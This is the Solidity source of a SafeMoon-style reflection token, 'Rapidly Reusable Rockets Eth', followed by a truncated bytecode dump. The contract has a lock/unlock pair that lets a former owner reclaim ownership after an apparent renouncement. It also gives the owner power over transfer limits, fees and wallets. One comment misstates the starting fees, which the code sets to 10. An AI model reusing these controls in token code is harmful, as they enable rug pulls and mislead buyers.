// SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // Contract implementation contract rrr is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000000000000; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Rapidly Reusable Rockets Eth'; string private _symbol = 'eRRR🏴‍☠️🚀'; uint8 private _decimals = 9; // Tax and charity fees will start at 0 so we don't have a big impact when deploying to Uniswap // Charity wallet address is null but the method to set the address is exposed uint256 private _taxFee = 10; uint256 private _charityFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousCharityFee = _charityFee; address payable public _charityWalletAddress; address payable public _marketingWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwap = false; bool public swapEnabled = true; uint256 public _maxTxAmount = _tTotal; //no max tx limit rn uint256 private _numOfTokensToExchangeForCharity = 5000000000000000; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapEnabledUpdated(bool enabled); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable charityWalletAddress, address payable marketingWalletAddress) public { _charityWalletAddress = charityWalletAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // Exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function removeAllFee() private { if(_taxFee == 0 && _charityFee == 0) return; _previousTaxFee = _taxFee; _previousCharityFee = _charityFee; _taxFee = 0; _charityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _charityFee = _previousCharityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap? // also, don't get caught in a circular charity event. // also, don't swap if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForCharity; if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) { // We need to swap the current tokens to ETH and send to the charity wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToCharity(address(this).balance); } } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){ takeFee = false; } //transfer amount, it will take tax and charity fee _tokenTransfer(sender,recipient,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToCharity(uint256 amount) private { _charityWalletAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } // We are exposing these functions to be able to manual swap and send // in case the token is highly valued and 5M becomes too much function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToCharity(contractETHBalance); } function setSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCharity(tCharity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCharity(tCharity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCharity(tCharity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCharity(tCharity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeCharity(uint256 tCharity) private { uint256 currentRate = _getRate(); uint256 rCharity = tCharity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rCharity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tCharity); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getTValues(tAmount, _taxFee, _charityFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tCharity); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 charityFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tCharity = tAmount.mul(charityFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tCharity); return (tTransferAmount, tFee, tCharity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() private view returns(uint256) { return _taxFee; } function _getMaxTxAmount() private view returns(uint256) { return _maxTxAmount; } function _getETHBalance() public view returns(uint256 balance) { return address(this).balance; } function _setTaxFee(uint256 taxFee) external onlyOwner() { require(taxFee >= 1 && taxFee <= 10, 'taxFee should be in 1 - 10'); _taxFee = taxFee; } function _setCharityFee(uint256 charityFee) external onlyOwner() { require(charityFee >= 1 && charityFee <= 11, 'charityFee should be in 1 - 11'); _charityFee = charityFee; } function _setCharityWallet(address payable charityWalletAddress) external onlyOwner() { _charityWalletAddress = charityWalletAddress; } }
0x60806040526004361061023f5760003560e01c80637d1db4a51161012e578063d047e4b7116100ab578063f2cc0c181161006f578063f2cc0c1814610cc5578063f2fde38b14610d16578063f429389014610d67578063f815a84214610d7e578063f84354f114610da957610246565b8063d047e4b714610b3c578063d543dbeb14610b8d578063dd46706414610bc8578063dd62ed3e14610c03578063e01af92c14610c8857610246565b8063a69df4b5116100f2578063a69df4b5146109c5578063a9059cbb146109dc578063af9549e014610a4d578063b6c5232414610aaa578063cba0e99614610ad557610246565b80637d1db4a51461081d5780638da5cb5b1461084857806395d89b4114610889578063a24a8d0f14610919578063a457c2d71461095457610246565b80634144d9e4116101bc5780635880b873116101805780635880b873146106f85780636ddd17131461073357806370a0823114610760578063715018a6146107c557806376d4ab99146107dc57610246565b80634144d9e41461059d5780634549b039146105de57806349bd5a5e1461063957806351bc3c851461067a5780635342acb41461069157610246565b806323b872dd1161020357806323b872dd146103e35780632d83811914610474578063313ce567146104c357806339509351146104f15780633bd5d1731461056257610246565b806306fdde031461024b578063095ea7b3146102db57806313114a9d1461034c5780631694505e1461037757806318160ddd146103b857610246565b3661024657005b600080fd5b34801561025757600080fd5b50610260610dfa565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102a0578082015181840152602081019050610285565b50505050905090810190601f1680156102cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102e757600080fd5b50610334600480360360408110156102fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e9c565b60405180821515815260200191505060405180910390f35b34801561035857600080fd5b50610361610eba565b6040518082815260200191505060405180910390f35b34801561038357600080fd5b5061038c610ec4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103c457600080fd5b506103cd610ee8565b6040518082815260200191505060405180910390f35b3480156103ef57600080fd5b5061045c6004803603606081101561040657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ef2565b60405180821515815260200191505060405180910390f35b34801561048057600080fd5b506104ad6004803603602081101561049757600080fd5b8101908080359060200190929190505050610fcb565b6040518082815260200191505060405180910390f35b3480156104cf57600080fd5b506104d861104f565b604051808260ff16815260200191505060405180910390f35b3480156104fd57600080fd5b5061054a6004803603604081101561051457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611066565b60405180821515815260200191505060405180910390f35b34801561056e57600080fd5b5061059b6004803603602081101561058557600080fd5b810190808035906020019